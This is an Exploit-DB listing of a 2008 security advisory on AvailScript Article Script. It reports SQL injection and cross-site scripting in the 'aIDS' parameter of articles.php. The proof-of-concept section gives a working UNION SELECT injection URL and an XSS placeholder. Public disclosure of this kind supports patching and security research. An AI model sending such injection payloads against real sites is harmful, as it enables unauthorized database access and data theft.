AvailScript Article Script - 'articles.php' Multiple Vulnerabilities

EDB-ID:

6409


Author:

sl4xUz

Type:

webapps


Platform:

PHP

Date:

2008-09-09


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Availscript Article Script (articles.php) Multiple Vulnerabilities
# Vendor: http://www.availscript.com/
# Vulnerable Version: N/A
# Fix: N/A
# 
###########################################################
# 
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "assh0le"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     Article Script allows you to publish your own articles or from the publishers or authors. Aministrator can go to admin page to edit, delete or manage articles, authors and categories. and the member can post articles as an author or just can read the articles.

######################
  2. Vulnerabilities
######################
     SQL Injection in "articles.php" in the "aIDS" parameter.
     Cross Site Scripting in "articles.php" in the "aIDS" parameter.

######################
  3. PoC
######################
     http://localhost/path/articles.php?aIDS=-1+union+select+1,2,user()--
     http://localhost/path/articles.php?aIDS=[XSS]

###########################################################

# milw0rm.com [2008-09-09]